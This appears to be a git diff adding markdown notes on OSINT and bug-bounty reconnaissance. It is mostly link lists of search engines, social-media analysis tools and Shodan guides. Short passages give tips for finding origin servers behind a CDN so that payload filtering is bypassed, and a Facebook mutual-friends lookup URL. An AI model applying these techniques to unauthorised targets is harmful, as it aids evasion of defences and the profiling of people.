- [Idealist](https://www.idealist.org/)
|
||||
- [Maven](https://www.maven.co/)
|
||||
- [MuckRack](https://muckrack.com/)
|
||||
- [National Speakers Association](https://www.nsaspeaker.org/)
|
||||
- [Newswise](https://www.newswise.com/)
|
||||
- [PRNewswire](https://prnmedia.prnewswire.com/)
|
||||
- [ReseacherID](https://www.researcherid.com/)
|
||||
- [Speakezee](https://www.speakezee.org/)
|
||||
- [Sources](https://www.sources.com/)
|
||||
- [Zintro](https://www.zintro.com/)
|
||||
@@ -0,0 +1,3 @@
|
||||
- [Aquatone](https://github.com/michenriksen/aquatone)
|
||||
- [HTTPScreenshot](https://github.com/breenmachine/httpscreenshot)
|
||||
- [Eyewitness](https://github.com/FortyNorthSecurity/EyeWitness)
|
||||
@@ -0,0 +1,68 @@
|
||||
- General
|
||||
- [Ask](https://uk.ask.com/)
|
||||
- [DuckDuckGo](https://duckduckgo.com/)
|
||||
- [Gigablast](https://gigablast.com/)
|
||||
- [Google Search](https://www.google.com/)
|
||||
- [Info.com](https://www.info.com/)
|
||||
- [Infospace](https://www.infospace.com/)
|
||||
- [Instya](https://www.instya.com/)
|
||||
- [iSEEK Education](https://education.iseek.com/iseek/home.page)
|
||||
- [Startpage](https://www.startpage.com/)
|
||||
- [Lycos](https://www.lycos.com/)
|
||||
- [Mojeek](https://www.mojeek.com/)
|
||||
- [MyWebSearch](https://hp.mywebsearch.com)
|
||||
- [Oscobo](https://www.oscobo.com/)
|
||||
- [Parseek (Iran)](https://www.parseek.com/)
|
||||
- [Search.com](https://www.search.com/)
|
||||
- [Teoma](https://www.teoma.com/)
|
||||
- [Wolfram Alpha](https://www.wolframalpha.com/)
|
||||
- National
|
||||
- [Baidu (China)](https://www.baidu.com/)
|
||||
- [Daum (South Korea)](https://www.daum.net/)
|
||||
- [Eniro (Sweden)](https://www.eniro.se/)
|
||||
- [Goo (Japan)](https://www.goo.ne.jp/)
|
||||
- [Najdsi (Slovenia)](https://www.najdi.si/)
|
||||
- [Naver (South Korea)](https://www.naver.com/)
|
||||
- [Onet.pl (Poland)](https://www.onet.pl/)
|
||||
- [Orange (France)](https://www.orange.fr/)
|
||||
- [Parseek (Iran)](https://www.parseek.com/)
|
||||
- [SAPO (Portugal)](https://www.sapo.pt/)
|
||||
- [Search.ch (Switzerland)](https://www.search.ch/)
|
||||
- [Walla (Israel)](https://www.walla.co.il/)
|
||||
- [Yandex (Russia)](https://www.yandex.com/)
|
||||
- Meta
|
||||
- [All-in-One](https://all-io.net/)
|
||||
- [AllTheInternet](https://www.alltheinternet.com/)
|
||||
- [Dogpile](https://www.dogpile.com/)
|
||||
- [Etools](https://www.etools.ch/)
|
||||
- [FaganFinder](https://www.faganfinder.com/engines/)
|
||||
- [iZito](https://www.izito.com/)
|
||||
- [Myallsearch](https://www.myallsearch.com/)
|
||||
- [Qwant](https://www.qwant.com/)
|
||||
- [WebCrawler](https://www.webcrawler.com/)
|
||||
- [Zapmeta](https://www.zapmeta.com/)
|
||||
- Specialty
|
||||
- [2lingual Search](https://www.2lingual.com/)
|
||||
- [CiteSeerX](https://citeseer.ist.psu.edu/)
|
||||
- [Digle](https://www.digle.com/)
|
||||
- [Google Custom Search](https://www.google.com/cse)
|
||||
- [Internet Archive](https://archive.org/)
|
||||
- [Million Short](https://millionshort.com/)
|
||||
- [WorldWideScience.org](https://worldwidescience.org/)
|
||||
- Visual Search and Clustering
|
||||
- [Touchgraph](https://www.touchgraph.com/navigator)
|
||||
- [Yippy](https://yippy.com/)
|
||||
- Similar Sites Search
|
||||
- [Google Similar Pages](https://chrome.google.com/webstore/detail/google-similar-pages/pjnfggphgdjblhfjaphkjhfpiiekbbej)
|
||||
- [SimilarSites](https://www.similarsites.com/)
|
||||
- [SimilarSiteSearch](https://www.similarsitesearch.com/)
|
||||
- [SitesLike](https://www.siteslike.com/)
|
||||
- PDF Search
|
||||
- [Free Full PDF](https://www.freefullpdf.com/)
|
||||
- [Offshore Leak Database](https://offshoreleaks.icij.org/)
|
||||
- [Scribd](https://www.scribd.com/)
|
||||
- [SlideSearchEngine](https://www.slidesearchengine.com/)
|
||||
- [SlideShare](https://www.slideshare.net/)
|
||||
- Code Search
|
||||
- [NerdyData](https://search.nerdydata.com/)
|
||||
- [SearchCode](https://searchcode.com/)
|
||||
@@ -0,0 +1,26 @@
|
||||
- Shodan is a tool that continuously spiders infrastructure on the internet. It is much more verbose than regular spiders. It captures response data, cert data, stack profiling data, and more. It requires registration.
|
||||
- [Example Search](https://www.shodan.io/search?query=twitch.tv)
|
||||
- Official Shodan documentation:
|
||||
- Data reference: https://datapedia.shodan.io/
|
||||
- List of search filters: https://www.shodan.io/search/filters
|
||||
- Query syntax: https://help.shodan.io/the-basics/search-query-fundamentals
|
||||
- Official Examples: https://www.shodan.io/search/examples
|
||||
- Shodan Pentesting Guide
|
||||
- https://community.turgensec.com/shodan-pentesting-guide/
|
||||
- Shodan and Cert.sh Recon w/ GodfatherOrwa
|
||||
- https://www.youtube.com/watch?v=YoXM4m1VEM0
|
||||
- Shodan filters and hacks
|
||||
- https://www.youtube.com/watch?v=GyZFM5IaH2Y
|
||||
- 100 Shodan Queries for Discovery
|
||||
- https://www.osintme.com/index.php/2021/01/16/ultimate-osint-with-shodan-100-great-shodan-queries/
|
||||
- Org filter dorks for technologies and services:
|
||||
- https://mr-koanti.github.io/shodan#
|
||||
- Other interesting queries:
|
||||
- https://github.com/jakejarvis/awesome-shodan-queries
|
||||
|
||||
![[ShodanCheatSheet.png]]
|
||||
- Automated tooling:
|
||||
- [Karma v2](https://github.com/Dheerajmadhukar/karma_v2)
|
||||
- [WTFIS](https://github.com/pirxthepilot/wtfis)
|
||||
-
|
||||
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 2.8 MiB |
@@ -0,0 +1,153 @@
|
||||
- Major social networks
|
||||
- [Draugiem (Latvia)](https://www.draugiem.lv/)
|
||||
- [Facebook](https://www.facebook.com/)
|
||||
- [Facenama (Iran)](https://facenama.com/)
|
||||
- [Google+](https://plus.google.com/)
|
||||
- [Instagram](https://www.instagram.com/)
|
||||
- [Linkedin](https://www.linkedin.com/)
|
||||
- [Mixi (Japan)](https://mixi.jp/)
|
||||
- [Odnoklassniki (Russia)](https://ok.ru/)
|
||||
- [Pinterest](https://www.pinterest.com/)
|
||||
- [Qzone (China)](https://qzone.qq.com/)
|
||||
- [Reddit](https://www.reddit.com/)
|
||||
- [Taringa (Latin America)](https://www.taringa.net/)
|
||||
- [Tinder](https://www.gotinder.com/)
|
||||
- [Tumblr](https://www.tumblr.com/)
|
||||
- [Twitter](https://twitter.com/)
|
||||
- [Weibo (China)](https://www.weibo.com/overseas)
|
||||
- [VKontakte](https://vk.com/)
|
||||
- [Xing](https://www.xing.com/)
|
||||
|
||||
- Social Network analysis
|
||||
- [Gephi](https://gephi.org/)
|
||||
- [Visual Investigative Scenarios](https://vis.occrp.org/)
|
||||
|
||||
- Real-time Search, Social Media search, Tools
|
||||
- [Audiense](https://www.audiense.com/)
|
||||
- [Brandwatch](https://www.brandwatch.com/)
|
||||
- [Buffer](https://buffer.com/)
|
||||
- [Buzz sumo](https://buzzsumo.com/)
|
||||
- [Cyfe](https://www.cyfe.com/)
|
||||
- [Geocreepy](https://www.geocreepy.com/)
|
||||
- [Geofeedia](https://geofeedia.com/)
|
||||
- [Hootsuite](https://hootsuite.com/)
|
||||
- [HowSociable](https://www.howsociable.com/)
|
||||
- [Hashtatit](https://www.hashatit.com/)
|
||||
- [Klear](https://klear.com/)
|
||||
- [MustBePresent](https://sproutsocial.com/)
|
||||
- [Netvibes](https://www.netvibes.com/)
|
||||
- [Rival IQ](https://www.rivaliq.com/)
|
||||
- [RSS Social Analyzer](https://chrome.google.com/webstore/detail/rss-social-analyzer/ncmajlpbfckecekfamgfkmckbpihjfdn?hl=en)
|
||||
- [SocialBakers](https://www.socialbakers.com/)
|
||||
- [Social Searcher](https://www.social-searcher.com/)
|
||||
- [Tagboard](https://tagboard.com/)
|
||||
|
||||
- Social media tools
|
||||
- Twitter
|
||||
- [AllMyTweets](https://www.allmytweets.net/connect/)
|
||||
- [Backtweets](https://backtweets.com/)
|
||||
- [Blue Nod](https://bluenod.com/)
|
||||
- [burrrd.](https://burrrd.com/)
|
||||
- [Commun.it](https://commun.it/)
|
||||
- [doesfollow](https://doesfollow.com/)
|
||||
- [Foller.me](https://foller.me/)
|
||||
- [Followerwonk](https://followerwonk.com/)
|
||||
- [Ground Signal](https://www.groundsignal.com/)
|
||||
- [HappyGrumpy](https://www.happygrumpy.com/)
|
||||
- [Harvard TweetMap](https://worldmap.harvard.edu/tweetmap)
|
||||
- [Hashtagify](https://hashtagify.me/)
|
||||
- [Hashtags.org](https://www.hashtags.org/)
|
||||
- [ManageFlitter](https://manageflitter.com/)
|
||||
- [Mentionmapp](https://mentionmapp.com/)
|
||||
- [OneMillionTweetMap](https://onemilliontweetmap.com/)
|
||||
- [Queryfeed](https://queryfeed.net/)
|
||||
- [SnapBird](https://snapbird.org/)
|
||||
- [Social Bearing](https://www.socialbearing.com/)
|
||||
- [Social Rank First Follower](https://socialrank.com/firstfollower)
|
||||
- [Tagdef](https://tagdef.com/)
|
||||
- [Tinfoleak](https://tinfoleak.com/)
|
||||
- [Trends24](https://trends24.in/)
|
||||
- [TrendsMap](https://trendsmap.com/)
|
||||
- [tweepsect](https://tweepsect.com/)
|
||||
- [TweetArchivist](https://www.tweetarchivist.com/)
|
||||
- [TweetDeck](https://www.tweetdeck.com/)
|
||||
- [TweetMap](https://worldmap.harvard.edu/tweetmap)
|
||||
- [Tweetreach](https://tweetreach.com/)
|
||||
- [TweetTunnel](https://tweettunnel.com/)
|
||||
- [Tweriod](https://www.tweriod.com/)
|
||||
- [Twicsy](https://twicsy.com/)
|
||||
- [Twilert](https://www.twilert.com/)
|
||||
- [Twitonomy](https://www.twitonomy.com/)
|
||||
- [TwitRSS](https://twitrss.me/)
|
||||
- [Twitter Advanced Search](https://twitter.com/search-advanced?lang=en)
|
||||
- [Twitter Audit](https://www.twitteraudit.com/)
|
||||
- [Twitter Chat Schedule](https://tweetreports.com/twitter-chat-schedule)
|
||||
- [Twitterfall](https://twitterfall.com/)
|
||||
- [Twitter Search](https://search.twitter.com/)
|
||||
- [Schedule Warble](https://warble.co/)
|
||||
|
||||
- Facebook
|
||||
- [Agora Pulse](https://barometer.agorapulse.com/)
|
||||
- [Commun.it](https://commun.it/)
|
||||
- [Fanpage Karma](https://www.fanpagekarma.com/)
|
||||
- [Fb-sleep-stats](https://github.com/sqren/fb-sleep-stats)
|
||||
- [Find my Facebook ID](https://findmyfbid.com/)
|
||||
- [Lookup-ID.com](https://lookup-id.com/)
|
||||
- [SearchIsBack](https://searchisback.com/)
|
||||
|
||||
- Instagram
|
||||
- [Hashtagify](https://hashtagify.me/)
|
||||
- [Iconosquare](https://iconosquare.com/)
|
||||
- [Picodash](https://www.picodash.com/)
|
||||
- [Social Rank](https://www.socialrank.com/)
|
||||
|
||||
- Pinterest
|
||||
- [Pingroupie](https://pingroupie.com/)
|
||||
- Reddit
|
||||
- [Imgur](https://imgur.com/)
|
||||
- [Mostly Harmless](https://kerrick.github.io/Mostly-Harmless/#features)
|
||||
- [Reddit Suite](https://chrome.google.com/webstore/detail/reddit-enhancement-suite/kbmfpngjjgdllneeigpgjifpgocmfgmb)
|
||||
- [Reddit Investigator](https://www.redditinvestigator.com/)
|
||||
- [Reddit Metrics](https://redditmetrics.com/)
|
||||
- [SnoopSnoo](https://snoopsnoo.com/)
|
||||
|
||||
- VKontakte
|
||||
- [Дезертир](https://vk.com/app3046467)
|
||||
- [Barkov.net](https://vk.barkov.net/)
|
||||
- [Report Tree](https://dcpu.ru/vk_repost_tree.php)
|
||||
- [Target Log](https://targetolog.com/)
|
||||
- [VK Community Search](https://vk.com/communities)
|
||||
- [VK Parser](https://vkparser.ru/)
|
||||
- [VK People Search](https://vk.com/people)
|
||||
- [VK to RSS Appspot](https://vk-to-rss.appspot.com/)
|
||||
|
||||
- Tumblr
|
||||
- [Tumblr Search](https://www.tumblr.com/search)
|
||||
|
||||
- LinkedIn
|
||||
- [FTL](https://chrome.google.com/webstore/detail/ftl/lkpekgkhmldknbcgjicjkomphkhhdkjj?hl=en-GB)
|
||||
|
||||
- Blog Search
|
||||
- [Twingly](https://www.twingly.com/)
|
||||
|
||||
- Forums/Discussion Boards Search
|
||||
- [Boardreader](https://boardreader.com/)
|
||||
- [Facebook Groups](https://www.facebook.com/)
|
||||
- [Google Groups](https://groups.google.com/)
|
||||
- [Linkedin Groups](https://www.linkedin.com/)
|
||||
- [Xing Groups](https://www.xing.com/communities)
|
||||
|
||||
- Username Check
|
||||
- [Check User Names](https://www.checkusernames.com/)
|
||||
- [Knowem](https://www.knowem.com/)
|
||||
- [Name Chk](https://www.namechk.com/)
|
||||
- [Name Checkr](https://www.namecheckr.com/)
|
||||
|
||||
- Q&A Sites
|
||||
- [Answers.com](https://www.answers.com/)
|
||||
- [eHow](https://www.ehow.com/)
|
||||
- [Quora](https://www.quora.com/)
|
||||
- [StackExchange](https://stackexchange.com/)
|
||||
|
||||
- Facebook
|
||||
- Mutual friends search: `https://www.facebook.com/browse/mutual_friends/?uid=<profileid1>&node=<profileid2>`
|
||||
@@ -0,0 +1,25 @@
|
||||
- Origin Domains
|
||||
- Content Delivery Networks (CDNs) are used to deliver website content/traffic more efficiently and reduce server load.
|
||||
- CDNs are *not* proxies for the real webserver--the real webserver is the origin.
|
||||
- Oftentimes, CDNs will block security testing payloads. Find the origin server and bypass the filtering/CDN.
|
||||
- Examples (for Akamai):
|
||||
- `origin-sub.domain.com`
|
||||
- `origin.sub.domain.com`
|
||||
- Try sending `Pragma: akamai-x-get-true-cache-key` - key often has origin in it
|
||||
- Things to look for:
|
||||
- Logins
|
||||
- Defaultcontent
|
||||
- Bypass domains (dev, qa, ww1,ww2,)
|
||||
- 302’s
|
||||
- Basic Auth
|
||||
- Old looking frameworks
|
||||
- Outdated Priv Pol / Trademark
|
||||
- Favicon analysis
|
||||
- Useful when you have a *ton* of webservers to analyze - fingerprint by the favicon
|
||||
- [FavFreak](https://github.com/devanshbatham/FavFreak)
|
||||
- Reporting guidelines:
|
||||
- Detailed enough to reproduce
|
||||
- Record your proof in case the issue gets fixed before your submission is triaged
|
||||
- Some orgs are more mature than others, it may take time – ask your triager
|
||||
- Autogenerated / autosubmitted reports are obvious especially if they lack any good information
|
||||
- Prove impact. Take it further if you can. Example: An XSS with a simple “alert(1)” could get you $50-100, but can you prove it’s more impactful? We love to see it!
|
||||
@@ -0,0 +1,674 @@
|
||||
- Misc
|
||||
- [Barcode Reader](https://online-barcode-reader.inliteresearch.com/)
|
||||
- [OpenRefine](https://github.com/OpenRefine)
|
||||
- [OSINT Framework](https://osintframework.com/)
|
||||
- [OsintStalker](https://github.com/milo2012/osintstalker)
|
||||
- [Outwit](https://www.outwit.com/)
|
||||
- [Recorded Future](https://www.recordedfuture.com/)
|
||||
- [Scraper Wiki](https://scraperwiki.com/)
|
||||
- [Tapir](https://github.com/pentestify/tapir)
|
||||
- Language
|
||||
- [2lingual](https://www.2lingual.com/)
|
||||
- [Apertium](https://www.apertium.org/)
|
||||
- [Babelfish](https://www.babelfish.com/)
|
||||
- [Bablic](https://www.bablic.com/)
|
||||
- [Bing Translator](https://www.bing.com/translator)
|
||||
- [Frengly](https://frengly.com/)
|
||||
- [Gengo](https://gengo.com/)
|
||||
- [Google Input Tools](https://www.google.com/inputtools/try)
|
||||
- [Google Translate](https://translate.google.com/)
|
||||
- [Google Tranlslate Extension](https://chrome.google.com/webstore/detail/google-translate/aapbdbdomjkkjkaonfhkkikfgjllcleb?hl=en)
|
||||
- [IdiomaX Translation](https://www.idiomax.com/online-translator.aspx)
|
||||
- [imTranslator](https://imtranslator.net/translation)
|
||||
- [Lexicool Translation](https://www.lexicool.com/translate.asp)
|
||||
- [Linguee](https://www.linguee.com/)
|
||||
- [Microsoft Translator](https://www.microsoft.com/en-us/translator)
|
||||
- [Noslang](https://www.noslang.com/)
|
||||
- [Pleco](https://www.pleco.com/)
|
||||
- [PROMT-Online](https://translation2.paralink.com/)
|
||||
- [Reddit/r/translator](https://www.reddit.com/r/translator)
|
||||
- [Reverso](https://www.reverso.net/)
|
||||
- [Slangit](https://slangit.com/)
|
||||
- [Systran](https://www.systransoft.com/)
|
||||
- [Translate.com](https://www.translate.com/)
|
||||
- [Unbabel](https://unbabel.com/)
|
||||
- [WorldLingo](https://www.worldlingo.com/)
|
||||
- [WorldReference.com](https://www.wordreference.com/)
|
||||
- [Yamli (Arabic Search Engine)](https://www.yamli.com/)
|
||||
- [Yandex Translate](https://translate.yandex.ru/)
|
||||
|
||||
- Geospacial and Mapping
|
||||
- [Bing Maps](https://www.bing.com/maps)
|
||||
- [CartoDB](https://cartodb.com/)
|
||||
- [Colorbrewer](https://colorbrewer2.org/)
|
||||
- [CrowdMap](https://crowdmap.com/)
|
||||
- [CTLRQ Address Lookup](https://ctrlq.org/maps/address)
|
||||
- [Dominoc925](https://dominoc925-pages.appspot.com/mapplets/cs_mgrs.html)
|
||||
- [GeoNames](https://www.geonames.org/)
|
||||
- [Esri](https://www.esri.com/)
|
||||
- [Flash Earth](https://www.flashearth.com/)
|
||||
- [Google Earth](https://www.google.com/earth)
|
||||
- [Google Maps](https://www.google.com/maps)
|
||||
- [Google My Maps](https://www.google.com/maps/about/mymaps)
|
||||
- [GPSVisualizer](https://www.gpsvisualizer.com/)
|
||||
- [GrassGIS](https://grass.osgeo.org/)
|
||||
- [Hyperlapse](https://github.com/TeehanLax/Hyperlapse.js)
|
||||
- [Inspire Geoportal](https://inspire-geoportal.ec.europa.eu/)
|
||||
- [InstantAtlas](https://www.instantatlas.com/)
|
||||
- [Instant Google Street View](https://www.instantstreetview.com/)
|
||||
- [Kartograph](https://kartograph.org/)
|
||||
- [Leaflet](https://leafletjs.com/)
|
||||
- [MapAList](https://mapalist.com/)
|
||||
- [MapBox](https://www.mapbox.com/)
|
||||
- [Mapchart.net](https://mapchart.net/)
|
||||
- [MapHub](https://maphub.net/)
|
||||
- [Mapline](https://mapline.com/)
|
||||
- [Mapquest](https://www.mapquest.com/)
|
||||
- [NGA GEOINT](https://github.com/ngageoint)
|
||||
- [OpenLayers](https://openlayers.org/)
|
||||
- [Open Street Map](https://www.openstreetmap.org/)
|
||||
- [QGIS](https://qgis.org/)
|
||||
- [QuickMaps](https://chrome.google.com/webstore/detail/quick-maps/bgbojmobaekecckmomemopckmeipecij)
|
||||
- [StoryMaps](https://storymaps.arcgis.com/en)
|
||||
- [Scribble Maps](https://scribblemaps.com/)
|
||||
- [Tableau](https://www.tableausoftware.com/)
|
||||
- [Timescape](https://www.timescape.io/)
|
||||
- [WorldMap Harvard](https://worldmap.harvard.edu/)
|
||||
- [ViaMichelin](https://www.viamichelin.com/)
|
||||
- [Yahoo Maps](https://maps.yahoo.com/)
|
||||
- [Zeemaps](https://www.zeemaps.com/)
|
||||
|
||||
- Academic Resources
|
||||
- [Academia](https://www.academia.edu/)
|
||||
- [Academic Journals](https://www.academicjournals.org/)
|
||||
- [African Journal Online](https://www.ajol.info/)
|
||||
- [American Society of Civil Engineers](https://ascelibrary.org/)
|
||||
- [Base](https://www.base-search.net/)
|
||||
- [Bibsonomy](https://www.bibsonomy.org/)
|
||||
- [Cambridge Journals](https://journals.cambridge.org/)
|
||||
- [Core](https://core.ac.uk/search)
|
||||
- [Elsevier](https://www.elsevier.com/)
|
||||
- [Google Scholar](https://scholar.google.com/)
|
||||
- [Grey Literature – List of Gateways](https://csulb.libguides.com/graylit)
|
||||
- [Grey Literature Report](https://www.greylit.org/)
|
||||
- [Journal Guide](https://www.journalguide.com/)
|
||||
- [JSTOR](https://www.jstor.org/)
|
||||
- [NRC Research Press](https://www.nrcresearchpress.com/)
|
||||
- [Open Access Scientific Journals](https://www.pagepress.org/)
|
||||
- [Oxford Journals](https://www.oxfordjournals.org/)
|
||||
- [PubMed](https://www.ncbi.nlm.nih.gov/pubmed)
|
||||
- [Quetzal Search](https://www.quetzal-search.info/)
|
||||
- [Research Gate](https://www.researchgate.net/)
|
||||
- [ScienceDirect](https://www.sciencedirect.com/)
|
||||
- [SCIRP](https://www.scirp.org/)
|
||||
- [Springer](https://link.springer.com/)
|
||||
- [Science Publications](https://www.thescipub.com/)
|
||||
- [Taylor & Francis Online](https://www.tandfonline.com/)
|
||||
- [Wiley](https://eu.wiley.com/)
|
||||
- [World Digital Library](https://www.wdl.org/)
|
||||
- [World Science](https://worldwidescience.org/)
|
||||
|
||||
- Fact Check
|
||||
- [About Urban Legends](https://urbanlegends.about.com/)
|
||||
- [Check](https://meedan.com/check)
|
||||
- [Fact Check](https://www.factcheck.org/)
|
||||
- [Full Fact](https://fullfact.org/)
|
||||
- [Snopes](https://www.snopes.com/)
|
||||
- [Verification Handbook](https://verificationhandbook.com/)
|
||||
- [Verification Junkie](https://verificationjunkie.com/)
|
||||
|
||||
- Data and Statistics
|
||||
- [AGOA Data Center](https://agoa.info/)
|
||||
- [AidData](https://aiddata.org/)
|
||||
- [AWS Public Datasets](https://aws.amazon.com/datasets)
|
||||
- [Bank for International Settlements Statistics](https://www.bis.org/statistics/index.htm)
|
||||
- [BP Statistical Review of World Energy](https://www.bp.com/en/global/corporate/energy-economics/statistical-review-of-world-energy.html)
|
||||
- [CIA World Factbook](https://www.cia.gov/library/publications/the-world-factbook)
|
||||
- [Data.gov.uk](https://data.gov.uk/)
|
||||
- [DBPedia](https://wiki.dbpedia.org/)
|
||||
- [European Commission Eurobarometer](https://ec.europa.eu/COMMFrontOffice/PublicOpinion)
|
||||
- [European Union Open Data Portal](https://open-data.europa.eu/en/data)
|
||||
- [Eurostat](https://ec.europa.eu/eurostat)
|
||||
- [globalEDGE Database of International Business Statistics](https://globaledge.msu.edu/tools-and-data/dibs)
|
||||
- [Google Finance](https://www.google.com/finance)
|
||||
- [Google Public Data Explorer](https://www.google.com/publicdata/directory)
|
||||
- [Government of Canada Open Data](https://open.canada.ca/en)
|
||||
- [HIS Piers](https://www.ihs.com/products/piers.html)
|
||||
- [ILO World Employment and Social Outlook Trends](https://www.ilo.org/global/research/global-reports/weso/2015/lang--en/index.htm)
|
||||
- [IMF World Economic Outlook Database](https://www.imf.org/external/ns/cs.aspx?id=28)
|
||||
- [Index Mundi](https://www.indexmundi.com/)
|
||||
- [International Energy Agency Statistics](https://www.iea.org/statistics)
|
||||
- [Junar](https://junar.com/)
|
||||
- [Knoema](https://knoema.com/)
|
||||
- [LandMatrix](https://landmatrix.org/)
|
||||
- [Library, University of Michigan: Statistics and Datasets](https://www.lib.umich.edu/browse/Statistics%20and%20Data%20Sets)
|
||||
- [Nation Master](https://www.nationmaster.com/statistics)
|
||||
- [OECD Data](https://data.oecd.org/)
|
||||
- [OECD Factbook](https://www.oecd-ilibrary.org/economics/oecd-factbook_18147364)
|
||||
- [Open Data Network](https://www.opendatanetwork.com/)
|
||||
- [Paul Hensel’s General Informational Data Page](https://www.paulhensel.org/dataintl.html)
|
||||
- [Pew Research Center](https://www.pewinternet.org/datasets)
|
||||
- [Population Reference Bureau Data Finder](https://www.prb.org/DataFinder.aspx)
|
||||
- [PRS Risk Indicators](https://www.prsgroup.com/)
|
||||
- [SESRIC Basic Social and Economic Indicators](https://www.sesric.org/baseind.php)
|
||||
- [Statista](https://www.statista.com/)
|
||||
- [The Atlas of Economic Complexity](https://atlas.cid.harvard.edu/)
|
||||
- [Trading Economics](https://www.tradingeconomics.com/)
|
||||
- [UN COMTRADE Database](https://comtrade.un.org/)
|
||||
- [UNCTAD Country Fact Sheets](https://unctad.org/en/Pages/DIAE/World%20Investment%20Report/Country-Fact-Sheets.aspx)
|
||||
- [UNCTAD Investment Country Profiles](https://unctad.org/en/Pages/Publications/Investment-country-profiles.aspx)
|
||||
- [UNCTAD STAT](https://unctadstat.unctad.org/)
|
||||
- [UN Data](https://data.un.org/)
|
||||
- [UNECE](https://w3.unece.org/PXWeb/en)
|
||||
- [UNIDO Statistical Databases](https://www.unido.org/resources/statistics/statistical-databases.html)
|
||||
- [Upsala Conflict Data Program](https://www.pcr.uu.se/research/UCDP)
|
||||
- [US Data and Statistics](https://www.usa.gov/statistics)
|
||||
- [WHO Data](https://www.who.int/gho/en)
|
||||
- [World Integrated Trade Solution](https://wits.worldbank.org/)
|
||||
- [Vizala](https://vizala.com/)
|
||||
|
||||
- Writing and Office
|
||||
- [Arguman](https://en.arguman.org/)
|
||||
- [Bibme](https://www.bibme.org/)
|
||||
- [Cite This For Me](https://chrome.google.com/webstore/detail/cite-this-for-me-web-cite/nnnmhgkokpalnmbeighfomegjfkklkle?hl=en)
|
||||
- [FreeOffice](https://www.freeoffice.com/)
|
||||
- [Grammarly](https://chrome.google.com/webstore/detail/grammarly-for-chrome/kbfnbcaeplbcioakkpcpgfkobkghlhen?hl=en)
|
||||
- [GoogleDocs](https://www.google.com/docs/about)
|
||||
- [LibreOffice](https://www.libreoffice.org/)
|
||||
- [MS Office](https://products.office.com/)
|
||||
- [Office Online](https://chrome.google.com/webstore/detail/office-online/ndjpnladcallmjemlbaebfadecfhkepb/related)
|
||||
- [OmniOutliner](https://www.omnigroup.com/omnioutliner)
|
||||
- [OnlyOffice](https://www.onlyoffice.com/)
|
||||
- [oTranscribe](https://otranscribe.com/)
|
||||
- [Scrivener](https://literatureandlatte.com/scrivener.php)
|
||||
- [TextExpander](https://smilesoftware.com/textexpander)
|
||||
- [UltraEdit](https://www.ultraedit.com/)
|
||||
- [WriteApp](https://writeapp.me/)
|
||||
|
||||
- Slideshow and Presentation
|
||||
- [Canva](https://www.canva.com/create/presentations)
|
||||
- [Deckset](https://www.decksetapp.com/)
|
||||
- [emaze](https://www.emaze.com/)
|
||||
- [GoogleDocs](https://docs.google.com/)
|
||||
- [Haiku Deck](https://www.haikudeck.com/)
|
||||
- [Keyonote](https://www.apple.com/de/mac/keynote)
|
||||
- [KnowledgeVision](https://www.knowledgevision.com/)
|
||||
- [LibreOffice](https://www.libreoffice.org/)
|
||||
- [Live Slides](https://www.liveslides.com/)
|
||||
- [MS Office](https://products.office.com/)
|
||||
- [Powtoon](https://www.powtoon.com/)
|
||||
- [presenterswall](https://www.presenterswall.com/)
|
||||
- [Prezi](https://prezi.com/)
|
||||
- [Slidedog](https://slidedog.com/)
|
||||
- [SlidePresenter](https://www.slidepresenter.com/)
|
||||
- [Slides](https://slides.com/)
|
||||
- [Sway](https://sway.com/)
|
||||
- [vcasmo](https://www.vcasmo.com/)
|
||||
- [Visme](https://www.visme.co/)
|
||||
- [Zoho Docs](https://www.zoho.com/docs/show.html)
|
||||
|
||||
- Digital Publishing
|
||||
- [Canva](https://www.canva.com/)
|
||||
- [Doclayer](https://standaert.net/doclayer)
|
||||
- [Issuu](https://issuu.com/)
|
||||
- [Omeka](https://omeka.org/)
|
||||
- [Scribd](https://www.scribd.com/)
|
||||
|
||||
- Newsletter Tools
|
||||
- [AWeber](https://www.aweber.com/)
|
||||
- [BombBomb](https://bombbomb.com/)
|
||||
- [Campayn](https://campayn.com/)
|
||||
- [Canva](https://www.canva.com/)
|
||||
- [ConstantContact](https://www.constantcontact.com/)
|
||||
- [Freshmail](https://freshmail.com/)
|
||||
- [iContact](https://www.icontact.com/)
|
||||
- [Mailchimp](https://mailchimp.com/)
|
||||
- [Mailjet](https://www.mailjet.com/)
|
||||
- [Mailup](https://www.mailup.com/)
|
||||
- [Newsletter Creator for Gmail](https://chrome.google.com/webstore/detail/newsletter-creator-for-gm/cihaednhfbocfdiflmpccekcmjepcnmb)
|
||||
- [sendinblue](https://www.sendinblue.com/)
|
||||
- [Sendicate](https://www.sendicate.net/)
|
||||
- [Sendloop](https://sendloop.com/)
|
||||
- [Signupto](https://www.signupto.com/)
|
||||
- [TinyLetter](https://tinyletter.com/)
|
||||
- [Vision6](https://www.vision6.com.au/)
|
||||
|
||||
- Digital Storytelling
|
||||
- [Animatron](https://www.animatron.com/)
|
||||
- [Animoto](https://animoto.com/)
|
||||
- [Exposure](https://exposure.co/)
|
||||
- [MakeBeliefsComix](https://www.makebeliefscomix.com/)
|
||||
- [Neatline](https://neatline.org/)
|
||||
- [Odyssey](https://cartodb.github.io/odyssey.js)
|
||||
- [Pageflow](https://pageflow.io/)
|
||||
- [Piclits](https://www.piclits.com/compose_dragdrop.aspx)
|
||||
- [Racontr](https://racontr.com/)
|
||||
- [RaptMedia](https://www.raptmedia.com/)
|
||||
- [RawShorts](https://www.rawshorts.com/)
|
||||
- [Slate](https://slate.adobe.com/)
|
||||
- [Steller](https://steller.co/)
|
||||
- [Storyform](https://storyform.co/)
|
||||
- [StoryMap](https://storymap.knightlab.com/)
|
||||
- [StoryMaps](https://storymaps.arcgis.com/)
|
||||
- [Sway](https://sway.com/)
|
||||
- [Thinglink](https://www.thinglink.com/)
|
||||
- [Tripline](https://www.tripline.net/)
|
||||
- [Wevideo](https://www.wevideo.com/)
|
||||
- [VideoScribe](https://www.videoscribe.co/)
|
||||
- [Zooburst](https://zooburst.com/)
|
||||
|
||||
- Infographics and Data Visualization
|
||||
- [Adobe Color CC](https://color.adobe.com/create/color-wheel)
|
||||
- [Aeon](https://www.aeontimeline.com/)
|
||||
- [Befunky](https://www.befunky.com/)
|
||||
- [Cacoo](https://cacoo.com/)
|
||||
- [Canva](https://www.canva.com/)
|
||||
- [Chart.js](https://www.chartjs.org/)
|
||||
- [creately](https://creately.com/)
|
||||
- [Crossfilter](https://square.github.io/crossfilter)
|
||||
- [csvkit](https://github.com/wireservice/csvkit)
|
||||
- [Data Visualization Catalogue](https://datavizcatalogue.com/)
|
||||
- [D3js](https://d3js.org/)
|
||||
